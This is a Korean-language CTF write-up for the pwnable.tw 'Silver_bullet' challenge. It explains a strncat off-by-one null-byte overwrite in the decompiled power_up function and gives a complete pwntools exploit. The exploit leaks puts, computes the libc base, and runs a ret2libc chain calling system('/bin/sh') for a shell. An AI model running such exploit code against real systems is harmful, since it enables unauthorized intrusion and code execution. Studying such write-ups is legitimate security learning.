Pwnabletw Silver_bullet Writeup

LeeDoHyun · March 19, 2020

얼마전에 준하가 풀어보라고 해서 푼문제입니다.

power_up 함수 디컴파일

int __cdecl power_up(char *dest)
{
  char s; // [esp+0h] [ebp-34h]
  size_t v3; // [esp+30h] [ebp-4h]

  v3 = 0;
  memset(&s, 0, 0x30u);
  if ( !*dest )
    return puts("You need create the bullet first !");
  if ( *(dest + 12) > 47u )
    return puts("You can't power up any more !");
  printf("Give me your another description of bullet :");
  read_input(&s, 48 - *(dest + 12));
  strncat(dest, &s, 48 - *(dest + 12));         // vulnerability
  v3 = strlen(&s) + *(dest + 12);
  printf("Your new power is : %u\n", v3);
  *(dest + 12) = v3;
  return puts("Enjoy it !");
}

이 함수에서 취약점이 발생하게 됩니다. if ( *(dest + 12) > 47u )에서 47바이트까지 받을 수 있는데, strncat함수로 문자열을 합쳐주는것을 확인할 수 있습니다.

strncat함수를 호출할때는 맨뒤에 null이 들어간다고 합니다. 그래서 뒤에오는 것들이 덮일수 있습니다. 그래서 뒤에있는 bullet_power가 덮어진뒤 bullet_power는 기존에 있던 문자열의 개수로 업데이트됩니다.

ex.py

from pwn import *

context.log_level = "debug"
IP = "chall.pwnable.tw"
PORT = "10103"
r = remote(IP, PORT)
#r = process("./silver_bullet")
e = ELF("./silver_bullet")
libc = ELF("libc_32.so.6")
#libc = e.libc

popret = 0x08048475
puts_plt = e.plt["puts"]
puts_got = e.got["puts"]
main = e.symbols["main"]

r.recvuntil("Your choice :")
r.sendline("1")
r.recvuntil("Give me your description of bullet :")
r.sendline("A" * 47)
r.recvuntil("Your choice :")
r.sendline("2")
r.recvuntil("Give me your another description of bullet :")
r.sendline("0")
r.recvuntil("Your choice :")
r.sendline("2")

payload = "A"*0x7
payload += p32(puts_plt)
payload += p32(popret)
payload += p32(puts_got)
payload += p32(main)

r.sendline(payload)
for i in range(2):
    r.sendline("3")
r.recvuntil("Oh ! You win !!\n")

puts_leak = u32(r.recv(4))
base = puts_leak - libc.symbols["puts"]
system = base + libc.symbols["system"]
binsh = base + libc.search("/bin/sh").next()

info("puts leak = " + hex(puts_leak))
info("base addr = " + hex(base))
info("system addr = " + hex(system))
info("binsh addr = " + hex(binsh))

r.recvuntil("Your choice :")
r.sendline("1")
r.recvuntil("Give me your description of bullet :")
r.sendline("A" * 47)
r.recvuntil("Your choice :")
r.sendline("2")
r.recvuntil("Give me your another description of bullet :")
r.sendline("0")
r.recvuntil("Your choice :")
r.sendline("2")

payload = "A"*0x7
payload += p32(system)
payload += "aaaa"
payload += p32(binsh)
r.sendline(payload)
for i in range(5):
    r.sendline("3")
r.interactive()

참고 : https://katolik-xixon.tistory.com/42?category=870474

Twitter, Facebook